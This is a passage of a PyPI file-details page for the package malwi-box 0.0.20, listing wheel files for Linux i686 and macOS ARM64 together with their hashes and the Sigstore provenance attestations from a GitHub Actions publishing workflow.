b24f24ac64bdf633af34ff1e5deeec97763faf22ba1bb386649061c620c5d16c - Sigstore transparency entry: 768502400
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
- Upload date:
- Size: 109.6 kB
- Tags: CPython 3.10, manylinux: glibc 2.17+ i686, manylinux: glibc 2.5+ i686
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5de0b0b6ecbbae9314b29b7b6373513c28754302146999e1541ea139b8b73e9a
|
|
| MD5 |
1f35d3ff4ba5471a3cfc7e4440c2f498
|
|
| BLAKE2b-256 |
193ca68545dbd4e4f43d6fab1dbd3621a9420c19bee676b98a8acc7187989b30
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl -
Subject digest:
5de0b0b6ecbbae9314b29b7b6373513c28754302146999e1541ea139b8b73e9a - Sigstore transparency entry: 768502386
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp310-cp310-macosx_11_0_arm64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp310-cp310-macosx_11_0_arm64.whl
- Upload date:
- Size: 64.2 kB
- Tags: CPython 3.10, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b830900d3e25c889e1ceba6b1057ce8c389f00020c88291788a431a9421f26d2
|
|
| MD5 |
a8eff633c7fc46f5b73f85bf55ebebe1
|
|
| BLAKE2b-256 |
83b56f2fa21d544e0f9ff2218ec8273e2dd2f8860d04eaeb04f8c19a1374f147
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp310-cp310-macosx_11_0_arm64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp310-cp310-macosx_11_0_arm64.whl -
Subject digest:
b830900d3e25c889e1ceba6b1057ce8c389f00020c88291788a431a9421f26d2 - Sigstore transparency entry: 768502403
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type: